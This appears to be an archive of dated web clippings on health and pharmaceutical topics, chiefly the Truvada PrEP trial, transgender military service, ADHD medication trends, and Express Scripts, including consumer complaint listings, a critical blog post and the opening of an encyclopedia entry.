What terms do you think we should add? Tell us in a responseand we'll whip up a definition.
FollowGender 2.0+ thetransgender tagto see more postsin We The T! this month.
Study tests protection of anti-HIV pill Truvada - Health News - NHS Choices
Tue, 08 Sep 2015 18:40
Friday November 26 2010
The drug Truvada is already used in HIV treatment
Scientists have tested the ''first anti-HIV pill to provide effective protection against the disease'', The Independent has reported.
The news comes from an international study looking at whether a pill combining two antiviral drugs could reduce new HIV infections among 2,500 HIV-negative men and transgender women who have sex with men. This population is considered to have higher risk of exposure to the virus. Compared with a dummy placebo drug the daily pill reportedly cut the risk of contracting HIV by 44%. All participants had also received condoms and counselling on how to reduce the risk of contracting HIV.
While the group receiving antiviral drugs did have a lower rate of new infections, it should be noted that the drug did not provide full protection '' 36 people were newly infected, compared with 64 in the placebo group. While the rate of side effects was low in both groups over the three-year study, further research is also needed to establish dosage, safety and tolerance over longer periods.
While this preliminary research is encouraging, the eventual development of drugs to prevent HIV infection would not diminish the importance of awareness and condom use, which are two key tools for preventing the spread of HIV and other sexually transmitted infections.
Where did the story come from?The study was carried out by researchers from The University of California at San Francisco and was funded by the US National Institutes of Health and the Bill & Melinda Gates Foundation. It was published in the peer-reviewedNew England Journal of Medicine.
The research was covered well by the BBC, which highlighted that this treatment is not ready for widespread use. The BBC also indicated some of the potential issues that would need to be considered if a prophylactic HIV treatment were to become available, such as drug resistance and the impact a drug for preventing HIV transmission might have on attitudes towards practising safer sex. The Independent said that the pill provided effective protection against HIV. Some might wrongly assume this to mean the pill was 100% effective in preventing HIV transmission. Further in the article they do, however, highlight that the antiviral drug only caused a reduction in transmission rate.
What kind of research was this?This was a randomised controlled trial that looked at whether a prophylactic combination treatment of two drugs could lower the risk of infection with HIV in a group of men and transgender women who were considered to be at high risk of being exposed to the virus.
Antiretroviral therapies are used in the treatment of HIV (HIV is a type of virus known as a 'retrovirus'). It is suggested that antiretrovirals may decrease viral transmission to uninfected partners and also decrease mother-to-child transmission. These drugs may also be used as a post-exposure prophylactic (preventative) treatment if a person has been exposed to fluids potentially infected with HIV. However, this use requires that people recognise that they might have been exposed and that they start therapy within 72 hours of exposure.
The researchers said that pre-exposure to antiretroviral drugs had been shown to lower infection rates in mice and primates that had been transplanted with HIV-infected human cells. They also said that a recently published study had demonstrated that a vaginal gel containing an antiretroviral drug had reduced HIV infection rates by 39% among women.
The researchers wanted to see whether a daily pill containing two antiretroviral drugs would reduce the transmission rates in a group of people at higher risk of being infected with the virus, and also to examine whether there would be side effects from the treatment. The two antiretroviral drugs, emtricitabine (FTC) and tenofovir disoproxil fumarate (TDF), were combined into a single FTC-TDF pill (commercial name Truvada).
What did the research involve?This was a multinational study, called the Preexposure Prophylaxis Initiative (iPrEX) trial. The study followed 2,499 HIV-negative people recruited from Peru, Ecuador, South Africa, Brazil, Thailand and the United States. The study was carried out from July 2007 to December 2009.
The study recruited participants that were male sex at birth and had sex with men. The participants were over 18 and were HIV-negative. The study included participants that were assessed to be at risk of HIV infection based on their sexual practices, such as having multiple partners, having sex without a condom, having an infected partner or having unprotected sex with a partner of unknown HIV status.
Study visits were scheduled every four weeks, and at each visit the participants received risk-reduction counselling and were provided with either the FTC-TDF study drug or placebo, as well as condoms. At each visit the participants were asked if they had missed taking any pills, and the pills left from the previous month's prescription were counted. The participants were also tested for HIV antibodies every four weeks.
Every 12 weeks the participants were interviewed to see whether they had engaged in higher risk sexual behaviour over that time. Every 24 weeks the participants had a physical examination and were tested for sexually transmitted infections.
If the participants reported that they may have been exposed to HIV, they were given post-exposure prophylactics and temporarily stopped the study drug.
The participants were followed for up to 2.8 years but on average (median) for 1.2 years.
What were the basic results?The researchers found that the sexual practices were similar in the placebo group and the FTC-TDF group. After enrolling in the study, the total number of sexual partners with whom the respondent had receptive anal sex decreased, and the percentage of those partners who used a condom increased. There was no difference between the groups in the number of other sexually transmitted infections.
The researchers said that the TDF drug can impair kidney function. They found that blood creatinine levels (a measure of kidney function) were elevated in five people in the FTC-TDF group (
Why do transgender people join the military in such high numbers? - U.S. - Stripes
Thu, 10 Sep 2015 04:32
As a young psychiatry resident at Ohio's Wright-Patterson Air Force Base in the 1980s, Dr. George Brown was surprised the first time he saw a transgender patient.
Estimates at the time were that for every 100,000 biological males in the general population, no more than three were transgender.
Brown figured the rate had to be even lower in the all-volunteer military. It made little sense to him that a transgender person would choose to join an institution that by its nature had no tolerance for deviance.
Yet over the next three years, Brown saw 10 more transgender patients '-- all of them seeking hormone therapy and male-to-female gender reassignment surgery. He began to suspect that the military, despite its ban on allowing transgender people to serve, was somehow attracting them at a disproportionately high rate.
The Pentagon is now weighing whether to lift its ban on transgender service members and is expected to do so next year. As the policy is reviewed, researchers are citing evidence that bears out Brown's hunch of three decades go.
Transgender people are present in the armed services at a higher rate than in the general population.
The latest analysis, published last year by UCLA researchers, estimated that nearly 150,000 transgender people have served in the military, or about 21% of all transgender adults in the U.S. By comparison, 10% of the general population has served.
The findings have pumped new life into a theory that Brown developed to explain what he had witnessed. In a 1988 paper, he coined it "flight into hypermasculinity."
His transgender patients told him that they had signed up for service when they were still in denial about their true selves and were trying to prove they were "real men."
"I just kept hearing the same story over and over again," said Brown, 58, now a professor at East Tennessee State University and a specialist in gender identity issues at the Veterans Affairs Medical Center in Mountain Home, Tenn.
Some patients had deliberately chosen the military's most dangerous jobs. In one case described in the paper, a 37-year-old patient with a long history of cross-dressing had been a laboratory technician on a base in Germany but gave that up to become a combat helicopter pilot at the height of the Vietnam War, a job with a high death rate.
Colene Simmons, 60, says she is one of Brown's longtime patients. She started life in rural Georgia as O'Day Simmons. A 185-pound champion wrestler in high school, Simmons protected other students from bullies and had no problem getting girlfriends.
But the tough exterior belied inner issues.
Simmons had escaped a physically abusive father and grown up in a Christian group home.
"God doesn't make mistakes," the house mother said after discovering Simmons trying on a curtain as if it were a dress.
As the feelings grew stronger, Simmons enlisted in the U.S. Marine Corps in hopes of fighting them off. "I wanted to prove to myself that I was a man," she explained.
Stationed at Camp Geiger, N.C., in the late 1970s, Simmons occasionally left the base and drove 80 miles to a thrift store to buy women's clothes and check into a motel room alone to play dress-up.
Simmons later married and had two children, but that could not erase her feelings any more than spending four years in the military.
She eventually underwent hormone therapy and surgery and legally changed her name. Remarried to another woman, she considers herself a lesbian. They live in rural northeast Tennessee.
"Colene doesn't talk much about the military," said Jane Simmons, her wife.
For all the attention gender identity has received recently '-- including Olympian Bruce Jenner's transformation to Caitlyn Jenner and Army Pvt. Bradley Manning's emergence as Chelsea Manning after being convicted of leaking classified documents '-- even the size of the transgender population is open to wide speculation.
The U.S. Census Bureau does not collect data to determine it, so researchers must extrapolate from other, smaller surveys.
In 2011, Gary Gates, research director at UCLA's Williams Institute, which is devoted to public policy questions related to gender identity and sexual orientation, estimated that 3 of every 1,000 U.S. adults are transgender '-- at least 100 times the presumed rate in the 1980s.
Figuring out how many transgender people serve in the military is even harder, because they can be kicked out if they reveal themselves.
"We're working largely in a vacuum," Gates said.
His estimates are based on demographic tweaks to the results of a 2008 nationwide survey of more than 6,500 transgender people that was conducted by activist groups.
Among those assigned male at birth, Gates found that 32% had served in the military, compared with 20% of men in the general population who had served.
For those assigned female at birth, that figure was 5.5%, compared with 1.7% of all women.
Other measures suggest even bigger differences between transgender people and the rest of the population in terms of military service.
In 2011, nearly 23 out of every 100,000 patients in the VA system had a diagnosis of gender identity disorder, which is used to describe gender identity issues that lead to significant levels of psychological distress and has been associated with high suicide risk.
That's five times the rate in the general population.
The comparison comes with a caveat. In 2011, the VA began providing hormone therapy and other nonsurgical treatment for transgender patients, a strong motivation for some people to seek out a diagnosis.
Though Brown developed his theory around male-to-female transgender service members, the draw of a hypermasculine environment may also help explain why female-to-male transgender people join the military.
The theory has been a topic of debate among activists and researchers. Although most say it has validity, some worry that its simplicity undermines the full humanity of transgender people.
"It dehumanizes the community and reduces it to this narrative," said Jake Eleazer, a transgender veteran and doctoral student in psychology at the University of Louisville in Kentucky.
He and others point out that there are many reasons transgender people join the military: adventure, money for college, family tradition and other factors that attract all recruits.
They also say it is possible that transgender people are more likely to have certain traits or skills that draw them to service, or that on the whole they are socioeconomically disadvantaged, discriminated against or rejected by their families in a way that leaves them fewer other options.
But there is not enough data to test those ideas.
Whatever the reasons that transgender people join, their presence has become one of the government's most powerful arguments for lifting the ban.
"Transgender men and women in uniform have been there with us, even as they often had to serve in silence alongside their fellow comrades in arms," Defense Secretary Ashton Carter said in a July statement announcing that the Pentagon would review the ban starting with the premise that it should be rescinded.
Brown predicted that even if the ban is lifted, the military will continue to attract transgender 18-to-20-year-olds who have yet to come to terms with their true selves.
As a place to hide, consciously or subconsciously, the military, with its order and uniformity and prohibitions on self-expression, may be unrivaled.
Jennifer Long, who joined the Army in 1983 as Edward Long, managed to suppress her feminine identity for her first 22 years of duty as a drill sergeant, paratrooper and security official at the detention camp at Guantanamo Bay, Cuba.
"You're in very gender binary roles," she said. "It doesn't leave any room. There's no gray area."
Eventually, though, she could no longer run from herself. After a second divorce in 2005, Long attempted suicide.
"You want to make it all go away," she said. "You can't be who you want to be."
Then Long started meeting other transgender people online and dressing as a woman off-duty in the evenings and on the weekends.
After a deployment to Iraq in 2008, she began taking hormones with plans to leave the military and live openly as a woman. A combat duty assignment in Afghanistan delayed her retirement until 2012.
Now 50, Long lives in New Jersey and works as a financial advisor.
"If I could have remained on duty, I would have," she said.
(C)2015 the Los Angeles TimesVisit the Los Angeles Times at www.latimes.comDistributed by Tribune Content Agency, LLC.
Big Pharma
Report Says Medication Use Is Rising for Adults With Attention Disorder - The New York Times
Wed, 09 Sep 2015 15:48
The number of young American adults taking medications for attention deficit hyperactivity disorder nearly doubled from 2008 to 2012, according to a report to be released Wednesday by the nation's largest prescription drug manager.
The drug manager, Express Scripts, which processes prescriptions for 90 million Americans, also found that almost one in 10 adolescent boys were taking medications for the disorder, usually stimulants such as Adderall or Concerta.
Some experts said the report provided the clearest evidence to date that the disorder is being diagnosed and treated with medication in children far beyond reasonable rates, and that steeply rising diagnoses among adults might portend similar problems. These drugs can temper hallmark symptoms like severe inattention and hyperactivity but also carry risks like sleep deprivation, appetite suppression and, more rarely, addiction and hallucinations.
In examining actual prescriptions filled, the report also strongly corroborated data from several government surveys that many prominent mental health experts had discredited for relying on parents' recollections of their children's health care.
''It's hard to dismiss the data in this report,'' said Brooke Molina, an associate professor of psychiatry at the University of Pittsburgh School of Medicine and one of the disorder's leading researchers. ''There are limitations with every study, but it's hard to do anything here but conclude that we have a continually forward-marching increase.''
Dr. Lawrence Diller, a behavioral pediatrician in Walnut Creek, Calif., said that he hoped the Express Scripts report would extinguish questions of how many children are taking A.D.H.D. medications, and direct attention toward possible solutions.
''How long will experts' heads remain in the sand on this epidemic?'' Dr. Diller said.
Express Scripts, which is based in St. Louis, said it analyzed a nationally representative sample of 400,000 people ages 4 to 64 who filled at least one prescription for an A.D.H.D. medication from 2008 to 2012.
Medications included stimulants like Adderall and Concerta, as well as newer nonstimulant formulations such as Strattera. Express Scripts reported that the number of American adults receiving prescriptions for A.D.H.D. drugs had risen 53 percent, to an estimated 2.6 million in 2012 from 1.7 million in 2008. Use among young adults ages 26 to 34 almost doubled, to 640,000 from 340,000, during the four years.
Several mental health experts ascribed the steep rises among adults to better medical and societal understanding that the disorder affects more than just children. Some studies estimate that about 10 million adults have it, suggesting that medication use still has plenty of room to grow.
''We still know that a majority of adults with A.D.H.D. are untreated,'' said Dr. Lenard A. Adler, director of the adult A.D.H.D. program at NYU Langone Medical Center.
Paula Rudofsky, a 56-year-old resident of Chappaqua, N.Y., was among the adults who received a diagnosis of the disorder and began taking Adderall in 2010. ''We always felt that it was something for children,'' she said. ''It's almost a relief to be told there's something you can do to help.''
Express Scripts reported that use of medication among children, already much higher than among adults, rose less '-- about 19 percent over the four years '-- but still reached levels that many experts found troublesome.
In 2012, 5.7 percent of all children ages 4 to 18 were being prescribed A.D.H.D. medications, 7.8 percent of boys and 3.5 percent of girls. (More boys receive the diagnosis because they tend to appear more hyperactive.) Among adolescents 12 to 18, however, the rates reached 9.3 percent of boys and 4.4 percent of girls.
Adjusting for age ranges and insurance coverage, these rates and others confirm those reported last year by the federal Centers for Disease Control and Prevention through its telephone survey of 76,000 parents nationwide. While some onlookers said those data demonstrated overmedication of the condition in children, most influential experts dismissed the evidence as lacking scientific rigor.
An article published by the American Medical Association stated that such studies ''overestimate true prevalence'' of A.D.H.D. diagnoses, while Dr. Sanjay Gupta of CNN reported, ''There's not a lot of value in these studies.''
In an interview last year, Dr. Peter Jensen, then of the Mayo Clinic in Rochester, Minn., said: ''Single-question surveys based on yes-no parent report are notoriously inaccurate. You simply can't make scientific statements based on them.'' In a follow-up interview on Tuesday, Dr. Jensen said that the C.D.C. survey probably was more accurate than he originally thought.
The agency had conducted similar surveys since 2003, to similar skepticism. In reporting prescriptions actually filled, however, the Express Scripts report strongly supported the C.D.C.'s data as accurate, Dr. Molina and Dr. Diller said.
Susanna Visser, the C.D.C.'s lead epidemiologist for the disorder since 2006, said that experts' consistently discrediting the agency's survey data over many years had cost the public not just understanding of the issue but also the consideration of possible solutions.
Children's inattention can be caused by many factors beyond A.D.H.D. '-- inadequate sleep, anxiety and more '-- that stimulants not only do not address, but can also exacerbate. Improper prescriptions for stimulants have fueled the sharing and selling of pills, particularly among high school and college students who use them to improve focus and perhaps achieve better grades.
A Partnership at study last year reported that almost one in 10 teenagers admitted having misused or abused stimulants, with that number believed to be higher in high-pressure schools.
''It's difficult to respond to the patterns that we see if the patterns in diagnosis and medication are not taken seriously,'' Dr. Visser said, adding that she was not involved in the Express Scripts report. ''We need to look at these patterns as a whole public health need in order to appropriately respond, and not snipe over the prevalence estimates.''
Dr. Visser pointed to increasing evidence that young adults are abusing stimulants as well, with significant health costs. A report last year by the federal Substance Abuse and Mental Health Administration found that emergency room visits related to nonmedical use of stimulants among adults tripled from 2005 to 2010, to more than 22,000.
Dr. Adler said that those signs need to be heeded as increasing numbers of adults visit their doctors for A.D.H.D. evaluations.
''As we move forward, we want to make sure that people who have the disorder get the prescription,'' he said. ''And that people who don't have the disorder don't.''
A version of this article appears in print on March 12, 2014, on page A16 of the New York edition with the headline: Report Says Medication Use Is Rising for Adults With Attention Disorder.
Board of Directors -
Wed, 09 Sep 2015 15:56
George PazChairman of the BoardChief Executive Officer,Express ScriptsGary G. BenanavDirectorRetired Vice Chairman, New York Life Insurance CompanyMaura C. BreenDirector, Chairman of the Compensation CommitteeRetired Senior Vice President,Verizon CommunicationsWilliam J. DeLaneyDirectorPresident and Chief Executive OfficerSysco CorporationElder Granger, MD, MG, USA (Retired)DirectorPresident and Chief Executive Officer, The 5Ps LLCNicholas J. LaHowchicDirectorPresident and Chief Executive Officer, Diannic, LLCThomas P. Mac MahonDirector, Chairman of the Corporate Governance CommitteeDirector, Retired Chairman and Chief Executive Officer, Laboratory Corporation of America HoldingsDirector, Member of Compensation Committee, past Chairman of the Board of PharMericaFrank MergenthalerDirector, Chairman of the Audit CommitteeExecutive Vice President and Chief Financial Officer, Interpublic GroupWoodrow A. Myers Jr., M.D.DirectorChief Executive Officer, Corizon Health, Inc.Roderick A. PalmoreDirectorRetired Executive Vice President, General Counsel, Chief Compliance and Risk Management Officer and Secretary of General MillsWilliam L. Roper, MD, MPHDirectorDean, University of North Carolina (UNC) School of MedicineVice Chancellor of Medical AffairsChief Executive Officer, UNC Health Care SystemSeymour SternbergDirectorRetired Chairman and Chief Executive Officer, New York Life Insurance CompanyTim WentworthDirectorPresident of Express Scripts
Ripoff Report | express scripts directory of Complaints & Reviews
Wed, 09 Sep 2015 15:54
Approximately 58 Reports FoundShowing 1-25
Wondering if a report is missing? We DO NOT remove reports from our database.What's This?As the leading consumer advocacy website, our technology is being continually upgraded to handle the volume of searches from consumers, the media, the authorities and millions of others from around the world. While we are always in the process of upgrading, our search results may not return all reports. This is only temporary and intermittent. If you are an attorney helping victims, the media, or law-enforcement, please contact us to have us run a complete database search to help your case or story.
DateTitle City, State 1, Report #1231197
May 23 201506:45 PM
Express Scripts Tricare Terrible service, won't delivery meds, scary situation Pheonix ArizonaAuthor: York, NebraskaHealth Insurance: Express Scripts TricarePheonix, Arizona 2, Report #1188951
Nov 14 201404:02 PM
Express Scripts , Medco, Accredo, Express Scripts sent wrong medication to wrong patients St. Louis, MO NationwideAuthor: Olympia, WashingtonPharmacies: Express ScriptsNationwide 3, Report #1176119
Sep 11 201412:55 PM
Express Scripts Sent unwanted Rx, charged bank account and refused a return! NationwideAuthor: Olean, New YorkPharmacies: Express ScriptsNationwide 4, Report #1166831
Aug 01 201411:34 PM
Express Scripts refuses return and refund of meds ordered in error by doctors office NationwideNever give them your credit card numberAuthor: St Petersburg, FloridaPharmacies: Express ScriptsNationwide 5, Report #1165253
Jul 27 201406:14 AM
Express Scripts wants money for no service Columbus ohioAuthor: Philadelphia, PennsylvaniaMail Order Services: Basmattie SegobindInternet 6, Report #125864
Jul 21 201407:24 PM
Express Scripts Pharmacy Rip Off Dishonest Fraudulent Billing ripoff pharmacy charges my debit acct and sends out prescriptions early Bensalem, Pennsylvania *EDitor's Suggestions on how to get your money back into your bank account!AGAIN........Author: Land O Lakes, FloridaPharmacies: Express Scripts PHARMACYNationwide 7, Report #1159930
Jul 06 201405:21 PM
Express Scripts Automatically Billed Orders Without Approval InternetAuthor: Raleigh, North CarolinaPharmacies: Express ScriptsInternet 8, Report #1077225
Jun 20 201408:16 AM
Express Scripts, Humana Choice Care, QualCare-New Jersey, GHI Network Access-New York, Kentucky Humana Paying Full Price for Medicine NOT Requested, NOT paid for by insurance, Money deducted from debit card on File, Patient not Notified of Medication Change, Patient allergic to Medication St. Louis MissouriAuthor: Lexington, KentuckyPharmacies: Express Scripts, HumanaSt. Louis, Missouri 9, Report #1151765
Jun 03 201409:47 AM
Express Scripts Failed to fill quantity as ordered by Physician, Delayed and threatened to cancel order, did not return calls St. Louis MissouriAuthor: Stuart, FloridaMail Order Services: Express ScriptsSt. Louis, Missouri 10, Report #1147812
May 19 201406:31 AM
Express Scripts for TRICARE totally incompetent InternetAuthor: Waynesville, North CarolinaPharmacies: Express ScriptsInternet 11, Report #1136697
Apr 06 201408:49 AM
Express Scripts Pharmacy Medco, CuraScripts deceptive, bad serivce, unfair practices, greedy, manipulative Orlando FloridaAuthor: Sanford, FloridaPharmacies: Express Scripts PharmacyNationwide 12, Report #1136699
Apr 06 201408:09 AM
Express Scripts Extremely Dissatisfied Houston Texas NationwideAuthor: Houston, TexasDrugstores: Express ScriptsNationwide 13, Report #1130291
Mar 12 201405:21 PM
Express Scripts Express-Scripts and/or Express Scripts They demanded I pay over $350 for a prescription that was not mine St Louis MissouriAuthor: Orlando, FloridaMail Order Services: Express ScriptsSt Louis, Missouri 14, Report #1123492
Mar 01 201409:31 PM
EXPRESS SCRIPTS /MEDCO Pharmacutical Terrorist InternetExpress ScriptsAuthor: Lewisville, TexasDrugstores: EXPRESS SCRIPTSSelect State/Province 15, Report #1108649
Dec 20 201302:34 PM
Express Scripts Medco Express Scripts/Medco Should be Investigated for Extortion NationwideAuthor: Lewistown, PennsylvaniaPharmacies: Express ScriptsNationwide 16, Report #1102953
Nov 29 201309:55 AM
Express Scripts medco, walgreens mail order pharmacists almost killed me as are pretending to be Dr.s and adjusting c-2 meds to their liking texas and sub out orders in US FloridaORIGINAL LETTER TO EXPRESS SCRIPTSAuthor: Sarasota, FloridaPharmacies: Express ScriptsSarasota, Florida 17, Report #1101519
Nov 22 201302:39 PM
Express Scripts Incompetent and untimely med refil InternetAuthor: MichiganPharmacies: Express ScriptsInternet 18, Report #1100440
Nov 18 201307:33 PM
Express Scripts Payments applied to wrong billing account ID and overcharges Saint Louis MissouriAuthor: Medford, MassachusettsPharmacies: Express ScriptsSt Louis, Missouri 19, Report #1089568
Oct 04 201304:32 PM
Express Scripts Non-Professional Conduct & Inaccurate Billing Phoenix ArizonaAuthor: Mt. Home, ArkansasDrugstores: Express ScriptsPhoenix, Arizona 20, Report #1073330
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Express Scripts Birth Control Rip Off Phoenix ArizonaAuthor: Greensboro, North CarolinaHealth Insurance: Express ScriptsPhoenix, Arizona 21, Report #1070324
Jul 26 201310:44 AM
Express Scripts - Stupidity Rules The roost (AGAIN)!! Neglegent, deceptive, manipulative, deceitful Phoenix, ArizonaAuthor: Richland, WashingtonPharmacies: Express ScriptsSelect State/Province 22, Report #1065207
Jul 08 201310:21 AM
Express Scripts ESI Watch out they raise prices with every order! Cool Valley MissouriAuthor: Glastonbury, ConnecticutPharmacies: Express ScriptsCool Valley , Missouri 23, Report #1060299
Jun 19 201307:39 AM
Express Scripts Deceptive Pricing , Price Gouging InternetAuthor: Triangle Area, North CarolinaPharmacies: Express ScriptsInternet 24, Report #1058413
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Express Scripts Pharmacist issued a non-formulary drug without my permission InternetNot surprisedAuthor: Salinas, CaliforniaBait-and-Switch: Express ScriptsInternet 25, Report #1042589
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Express Scripts Medco The Most Obnoxious People To Deal With Las Vegas, NevadaAuthor: Laveen, ArizonaPharmacies: Express ScriptsLas Vegas, Nevada
Top 5 biggest Obamacare insurance company scams.
Wed, 09 Sep 2015 15:53
This article was first posted March 1, 2014.
While the Patient Protection and Affordable Care Act (aka Obamacare) is a big improvement for Americans forced to buy their health insurance in the individual market, there are still a whole host of ways an insurance company can cheat you in one way or another. Here are the Top 5.
1) Excessive overhead charges
Obamacare requires health insurers to spend a minimum of 80% of the premiums collected from customers on actual medical care, and no more than 20% on executive bonuses, private jets, and other trappings of a large for-profit bureaucracy. Medicare and Medicaid spend 98% to 99% of their budget on medical care and less than 2% on administrative costs. (The Adminstrator of the Centers for Medicare and Medicaid Services makes about $165,000/year and flies commercial.) That 18% difference amounts to almost $2,900 of the $16,000 annual health premium for the average family. (Don't expect a thank you card from your health insurance company CEO for keeping the company plane in jet fuel.)
To be fair, that 20% limit on insurance company overhead is a sharp departure from the kinds of abuses seen prior to the law's enactment. For example, in 2011 Aetna had to roll back premiums for some 15,000 Connecticut residents to comply with the 20% cap. On some Aetna health plans, as little as 64% of the premiums paid were spent on health care and 36% was lost to overhead expense.
It's hoped that market forces and competitive pressures will move insurance companies to reduce their overhead expenses -- even below the 20% cap. We'll see in mid-2015 when they report their 2014 financial results.
2) Forcing you to accept inflated prices for generic drugs
Most health plans require you to purchase your prescription medications from their approved pharmacy (often a Pharmacy Benefit Manager (PBM) like Medco, ExpressScripts or CVS/Caremark.) Pharmacy Benefit Managers tend to be among the nation's least trustworthy businesses. The rap sheets (see links below) of the largest PBMs reveal long, documented histories of fraud.
The theory behind Pharmacy Benefit Managers is that by pooling the interests of a large number of drug purchasers (after its recent merger with Medco, ExpressScripts fills 1.4 billion prescriptions annually), they would be able to get volume discounts and lower prices for their members. In practice, many customers find price gouging and poor customer service.
For example, I take 3 generic medications and got prices for several pharamacies in my neighborhood for a 90-day supply of each at Here are the results.
Comparison of Prescription Drug Pricing - 90-Day SupplyLocal Pharmacy vs. ExpressScriptsMedicationLocal PharmacyPriceExpress ScriptsPriceExpress ScriptsOverchargeNo.1$12$38$26No.2$10$15$5No.3$168$572$404Total -- 90-day Supply$190$625$435Total -- Annual Cost$760$2,500$1,740There is no requirement that you use your health insurance when you need medical care. You can always just pay cash and not involve the insurance company. But if you do so, that money you spend on medical care will not count towards your in-network annual deductible.
My insurance plan has a $5,000 annual deductible and my spending for health care averages about $1,500 per year. So rather than get cheated by Express Scripts, I'll just pay cash and avoid the $1,740/year overcharge. If I have an accident or incur other medical bills that put me over my deductible, I won't get credit for the $760 I paid for my prescriptions outside of the approved, price gouging ExpressScripts pharmacy.
3) Price gouging on lab work and x-rays
I typically get some simple lab work done 3 or 4 times a year and was surprised when the doctor's office was charging double or triple what it cost to order the same tests online. (I've used and To add insult to injury, both on-line vendors sent the samples to the same LabCorp facility as my doctor. As with prescription drugs, if you go out-of-network to perform lab work, it won't count towards your annual deductible.
I've also seen the same thing with x-rays, MRIs and other imaging services. If your insurance company isn't doing a good job negotiating prices, there may be big savings by avoiding their "approved" vendors. It pays to shop around if you don't think you'll spend enough during the year to meet your deductible.
4) Bait & Switch Colonoscopy
One of the hallmarks of Obamacare is the requirement that insurers provide preventive exams and screening tests (appropriate to age) without cost-sharing (in other words "free".)
The most expensive test on the list of required screening exams is the colonoscopy for people age 50 and over. A colonoscopy costs thousands of dollars in most markets.
In order to shave costs and increase profits, many insurers instituted a rule that if a polyp was found during the exam (happens 30% to 50% of the time), the colonoscopy would no longer be considered a screening procedure and full deductibles and co-pays would apply. To add insult to injury, polyps are typically found while the patient is sedated, so there is no way to warn him or her of the 'financial colonoscopy' that will arrive by mail in a few weeks time when they get the bill.
Google "bait & switch colonoscopy" and you'll see stories from many angry victims.
The Obama Administration issued rules saying that a free screening colonoscopy includes polyps, but since insurance is regulated by the states, it's up to your state insurance commissioner to enforce it. If you live in a Republican-controlled state that is hostile to Obamacare, the insurance commissioner may not be as aggressive in making sure that insurance companies are providing the coverage you've paid for and are entiltled to.
Washington State Insurance Commissioner on Preventative Screenings
Until fairly recently, when consumers had routine preventive colonoscopies, they often faced a substantial bill for surgery if a polyp was discovered and removed during the procedure. But current guidelines from the U.S. Department of Labor, under the Affordable Care Act, protect consumers from these extra charges for polyp removal.
If you're having problems with your health insurer over these sorts of issues and you live in Washington state, feel free to contact our consumer hotline at 1-800-562-6900 or email us.
5) Restrictive Provider Networks
With so much money being siphoned off in overhead expense, and high prices being paid for generic drugs, your insurer has to cut somewhere. A common practice is to severely restrict the number of doctors and hospitals included in your health plan's provider network and make patients travel further to get specialty care.
For example, in the Seattle area 5-star hospitals like the Univ. of Washington Medical Center and the Seattle Children's Hospital are excluded from most ACA Exchange plans. But both of these institutions accept Medicare and Medicaid. It's crazy for people to be paying thousands of dollars a year in excess overhead to a private insurer for the privilege of getting a health plan that's inferior to Medicaid.
What to conclude from these observations?
Obamacare is a huge improvement over the kinds of abuses seen in the health insurance market before the law was enacted. Ending discrimination due to pre-existing conditions and prohibiting lifetime or annual caps on medical benefits will prevent a major illness from bankrupting many people. The focus on preventative care -- making it a co-pay-free part of every health plan -- should catch many health problems early when they can be more easily treated.
However, Obamacare requires you to keep a for-profit health insurer between you and your doctor -- an insurer with a financial incentive to limit the amount of care he pays for. Health insurance remains a very opaque consumer product and the exchanges really don't allow you to see all the gotcha clauses and exceptions in the fine print. (Try getting a copy of the actual insurance policy contract before you purchase a plan. And if you request a copy of the reimbursement policy for a given medical procedure, you'll likely be told "it's proprietary".)
It's essential that you keep your insurance company and health care providers on a short leash -- otherwise it can mean a big out-of-pocket cost when you file a claim. Also, if you live in a state with a strong, consumer-focused insurance commissioner, they may be able to help if you're getting screwed.
Despite the scams, if you are a retiree currently buying your own health insurance on the individual market, you should check out the prices on You'll likely be pleasantly surprised. The open enrollment period ends March 31, 2014.
Related Web Sites for additional information.Journal of Health Politics -- How to Think Clearly about Medicare Administrative Costs: Data Sources and Measurement
Time Magazine -- Bitter Pill: Why Medical Bills Are Killing Us -- check drug prices at local pharmacies in your neighborhood
Sprighealth -- innovative website serving Oreqon & Washington that allows you to shop prices for medical services.
Medco Settles Fraud, Kickback Charges for $155 Million, Oct. 24, 2006
Medco settles with U.S., 20 states The pharmacy-benefits manager will pay states, including Pa., $29.3 million for switching patients' drugs.
CVS Caremark settles deceptive-practices complaint for $38.5 million
Pennsylvania Attorney General Corbett Announces Multi-State Settlement With Express Scripts Inc.
Ripoff Report - Express-Scripts
½Narrow Networks½ Trigger Push-Back From State Officials
Insurers face pressure for limiting doctor choice for ObamaCare enrollees
Kaiser Family Foundation - Health Reform Subsidy Calculator
Federal Register - Health Insurance Premium Tax Credit
IRS - Affordable Care Act Tax Provisions
Express Scripts - Wikipedia, the free encyclopedia
Wed, 09 Sep 2015 15:53
Express Scripts Holding Company is a Fortune 100 company as of 2013, the 20th-largest in the United States[1] and is the largest pharmacy benefit management (PBM) organization in the United States, with 2013 revenues of $104.62 billion.[3]
Headquartered in St. Louis, Missouri, Express Scripts provides integrated pharmacy benefit management services including network-pharmacy claims processing; home delivery pharmacy services; specialty pharmacy benefit management, through its subsidiary Accredo; benefit-design consultation; drug-utilization review; formulary management; and medical and drug data analysis services to manage drug plans for health plans, self-insured employers and government agencies (both as administrator of employee benefits and public assistance programs). One of its largest clients is the United States Department of Defense's Tricare program.[4]
Express Scripts also offers pharmacy benefit management services for workers' compensation insurance programs. The program is accredited by URAC, the nation's largest accrediting body for pharmacy benefit management companies.
The company processes pharmaceutical claims for members through a network of retail pharmacies. Its own automated pharmacies dispense long-term, chronic medications-like those for diabetes or heart disease-directly to members via home delivery.[3]
History[edit]Express Scripts began in 1986 in St. Louis, Missouri as a result of a joint venture between a retail chain of more than 79 pharmacies (Medicare Glaser Inc.) and Sanus Corp. Health Systems. Express Scripts was purchased by New York Life Insurance Company in 1989 and became a publicly traded company in 1992. In 1993, Express Scripts signed on both FHP International Corp. and Maxicare Health Care and corporate clients Lockheed Corp., Service Merchandise Co., and Ingersoll-Rand Co.[5] In 1994, the company expanded its services by adding workers' compensation prescription services and reinsurance.[5] In 1994, the company announced a two-for-one stock split and in 1996, established Express Scripts Canada. The same year, the company began the annual Drug Trend Report and launched the Outcomes Symposium Conference.[6]
In April 1998, Express Scripts Inc. acquired ValueRx, the PBM business of Columbia/HCA Healthcare Corp.[5] The following year, in April 1999, the company purchased Diversified Pharmaceutical Services from SmithKline Beecham Corp for $700 million.[5] That same year, the company purchased stock in [].[5] This partnership offered members options for purchasing prescriptions and over-the-counter health products online.[5]
In 2000, the company had to write off its $165 million relationship with when the startup experienced financial difficulties.[5] In 2001, Express Scripts Inc. partnered with Merck-Medco and Advance PSC to form RxHub LLC.[5]
